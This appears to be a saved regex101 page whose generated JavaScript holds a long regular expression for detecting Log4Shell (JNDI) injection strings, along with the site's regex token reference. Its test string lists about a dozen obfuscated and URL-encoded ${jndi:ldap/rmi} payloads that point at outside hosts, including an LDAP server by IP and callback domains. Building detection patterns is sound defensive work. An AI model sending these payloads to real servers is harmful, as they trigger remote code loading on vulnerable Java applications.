Regular Expressions 101

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
No Match

/
/
gm

Test String

Code Generator

Language

Generated Code

const regex = /^(?i)(?:\$|%(?:25){0,2}24)(?:\{|%(?:25){0,2}7b)(?:.*?(?=j|%(?:25){0,2}6a)(?:j|%(?:25){0,2}6a))(?:.*?(?=n|%(?:25){0,2}6e)(?:n|%(?:25){0,2}6e))(?:.*?(?=d|%(?:25){0,2}64)(?:d|%(?:25){0,2}64))(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))(?:.*?(?=\:|%(?:25){0,2}3a)(?:\:|%(?:25){0,2}3a))(?:(?:.*?(?=l|%(?:25){0,2}6c)(?:l|%(?:25){0,2}6c))(?:.*?(?=d|%(?:25){0,2}64)(?:d|%(?:25){0,2}64))(?:.*?(?=a|%(?:25){0,2}61)(?:a|%(?:25){0,2}61))(?:.*?(?=p|%(?:25){0,2}70)(?:p|%(?:25){0,2}70))(?:(?:.*?(?=s|%(?:25){0,2}73)(?:s|%(?:25){0,2}73)))?|(?:.*?(?=d|%(?:25){0,2}64)(?:d|%(?:25){0,2}64))(?:.*?(?=n|%(?:25){0,2}6e)(?:n|%(?:25){0,2}6e))(?:.*?(?=s|%(?:25){0,2}73)(?:s|%(?:25){0,2}73))|(?:.*?(?=r|%(?:25){0,2}72)(?:r|%(?:25){0,2}72))(?:.*?(?=m|%(?:25){0,2}6d)(?:m|%(?:25){0,2}6d))(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))|(?:.*?(?=n|%(?:25){0,2}6e)(?:n|%(?:25){0,2}6e))(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))(?:.*?(?=s|%(?:25){0,2}73)(?:s|%(?:25){0,2}73))|(?:.*?(?=n|%(?:25){0,2}6e)(?:n|%(?:25){0,2}6e))(?:.*?(?=d|%(?:25){0,2}64)(?:d|%(?:25){0,2}64))(?:.*?(?=s|%(?:25){0,2}73)(?:s|%(?:25){0,2}73))|(?:.*?(?=c|%(?:25){0,2}63)(?:c|%(?:25){0,2}63))(?:.*?(?=o|%(?:25){0,2}6f)(?:o|%(?:25){0,2}6f))(?:.*?(?=r|%(?:25){0,2}72)(?:r|%(?:25){0,2}72))(?:.*?(?=b|%(?:25){0,2}62)(?:b|%(?:25){0,2}62))(?:.*?(?=a|%(?:25){0,2}61)(?:a|%(?:25){0,2}61))|(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))(?:.*?(?=o|%(?:25){0,2}6f)(?:o|%(?:25){0,2}6f))(?:.*?(?=p|%(?:25){0,2}70)(?:p|%(?:25){0,2}70)))(?:.*?(?=\:|%(?:25){0,2}3a)(?:\:|%(?:25){0,2}3a))(?:.*?(?=\/|%(?:25){0,2}2f)(?:\/|%(?:25){0,2}2f))(?:.*?(?=\/|%(?:25){0,2}2f)(?:\/|%(?:25){0,2}2f))(?:.*?(?=\}|%(?:25){0,2}7d)(?:\}|%(?:25){0,2}7d))/gm; // Alternative syntax using RegExp constructor // const regex = new RegExp('^(?i)(?:\\$|%(?:25){0,2}24)(?:\\{|%(?:25){0,2}7b)(?:.*?(?=j|%(?:25){0,2}6a)(?:j|%(?:25){0,2}6a))(?:.*?(?=n|%(?:25){0,2}6e)(?:n|%(?:25){0,2}6e))(?:.*?(?=d|%(?:25){0,2}64)(?:d|%(?:25){0,2}64))(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))(?:.*?(?=\\:|%(?:25){0,2}3a)(?:\\:|%(?:25){0,2}3a))(?:(?:.*?(?=l|%(?:25){0,2}6c)(?:l|%(?:25){0,2}6c))(?:.*?(?=d|%(?:25){0,2}64)(?:d|%(?:25){0,2}64))(?:.*?(?=a|%(?:25){0,2}61)(?:a|%(?:25){0,2}61))(?:.*?(?=p|%(?:25){0,2}70)(?:p|%(?:25){0,2}70))(?:(?:.*?(?=s|%(?:25){0,2}73)(?:s|%(?:25){0,2}73)))?|(?:.*?(?=d|%(?:25){0,2}64)(?:d|%(?:25){0,2}64))(?:.*?(?=n|%(?:25){0,2}6e)(?:n|%(?:25){0,2}6e))(?:.*?(?=s|%(?:25){0,2}73)(?:s|%(?:25){0,2}73))|(?:.*?(?=r|%(?:25){0,2}72)(?:r|%(?:25){0,2}72))(?:.*?(?=m|%(?:25){0,2}6d)(?:m|%(?:25){0,2}6d))(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))|(?:.*?(?=n|%(?:25){0,2}6e)(?:n|%(?:25){0,2}6e))(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))(?:.*?(?=s|%(?:25){0,2}73)(?:s|%(?:25){0,2}73))|(?:.*?(?=n|%(?:25){0,2}6e)(?:n|%(?:25){0,2}6e))(?:.*?(?=d|%(?:25){0,2}64)(?:d|%(?:25){0,2}64))(?:.*?(?=s|%(?:25){0,2}73)(?:s|%(?:25){0,2}73))|(?:.*?(?=c|%(?:25){0,2}63)(?:c|%(?:25){0,2}63))(?:.*?(?=o|%(?:25){0,2}6f)(?:o|%(?:25){0,2}6f))(?:.*?(?=r|%(?:25){0,2}72)(?:r|%(?:25){0,2}72))(?:.*?(?=b|%(?:25){0,2}62)(?:b|%(?:25){0,2}62))(?:.*?(?=a|%(?:25){0,2}61)(?:a|%(?:25){0,2}61))|(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))(?:.*?(?=o|%(?:25){0,2}6f)(?:o|%(?:25){0,2}6f))(?:.*?(?=p|%(?:25){0,2}70)(?:p|%(?:25){0,2}70)))(?:.*?(?=\\:|%(?:25){0,2}3a)(?:\\:|%(?:25){0,2}3a))(?:.*?(?=\\\/|%(?:25){0,2}2f)(?:\\\/|%(?:25){0,2}2f))(?:.*?(?=\\\/|%(?:25){0,2}2f)(?:\\\/|%(?:25){0,2}2f))(?:.*?(?=\\}|%(?:25){0,2}7d)(?:\\}|%(?:25){0,2}7d))', 'gm') const str = `\${jndi:ldap://******.vps.ovh.net/a} %24%7bjndi%25253aldap%253a%2f%25252f******.vps.ovh.net/a} \${\${lower:J}\${upper:n}d\${upper:i}\${upper::}\${lower:l}\${lower:D}a\${lower:p}\${upper::}\${upper:/}\${lower:/}******.vps.ovh.net\${upper:/}a} \${\${lower:J}\${upper:n}\${env:BROKESYSTEM:-d}\${upper:i}\${::-:}\${::-l}\${lower:D}a\${env:BROKESYSTEM:-p}\${::-:}\${::-/}\${::-/}******.vps.ovh.net:443/Basic/Command/Base64/*********==} %252524%25257Bjndi%3Aldap://******.vps.ovh.net/a} \${\${env:BARFOO:-j}\${upper:n}d\${upper:i}\${upper::}\${lower:l}\${lower:D}a\${lower:p}\${upper::}\${upper:/}\${lower:/}******.vps.ovh.net\${upper:/}a} \${\${::-j}\${::-n}\${::-d}\${::-i}:ldap://******.vps.ovh.net/a} \${\${::-j}\${::-n}\${::-d}\${::-i}:\${::-l}\${::-d}\${::-a}\${::-p}://\${hostName}.c6s8nslmk1u0g9jus3a0cghmy7obs3sw4.interact.sh} %24%7B%24%7B%3A%3A-j%7D%24%7B%3A%3A-n%7D%24%7B%3A%3A-d%7D%24%7B%3A%3A-i%7D%3A+%24%7B%3A%3A-r%7D%24%7B%3A%3A-m%7D%24%7B%3A%3A-i%7D%3A%2F%2Fc6s2olc67qq8mci4j6tgcghrzbeyyrhy6.interactsh.com%2Fpoc%7D %24%7B%24%7Blower%3A+%24%7Blower%3Ajndi%7D%7D%3A+%24%7Blower%3Armi%7D%3A%2F%2Fc6s2olc67qq8mci4j6tgcghrzaayyr75k.interactsh.com%2Fpoc%7D %24%7B%24%7B%3A%3A-j%7D%24%7B%3A%3A-n%7D%24%7B%3A%3A-d%7D%24%7B%3A%3A-i%7D%3A+%24%7B%3A%3A-r%7D%24%7B%3A%3A-m%7D%24%7B%3A%3A-i%7D%3A%2F%2Fc6s2olc67qq8mci4j6tgcghrzseyyr7ik.interactsh.com%2Fpoc%7D \${\${::-j}nd\${::-i}:ldap://92.63.197.53:1389/or2q2y} %24%7B%24%7B%3A%3A-j%7Dnd%24%7B%3A%3A-i%7D%3Aldap%3A%2F%2F92.63.197.53%3A1389%2For2q2y%7D `; // Reset `lastIndex` if this regex is defined globally // regex.lastIndex = 0; let m; while ((m = regex.exec(str)) !== null) { // This is necessary to avoid infinite loops with zero-width matches if (m.index === regex.lastIndex) { regex.lastIndex++; } // The result can be accessed through the `m`-variable. m.forEach((match, groupIndex) => { console.log(`Found match, group ${groupIndex}: ${match}`); }); }

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for JavaScript, please visit: https://developer.mozilla.org/en/docs/Web/JavaScript/Guide/Regular_Expressions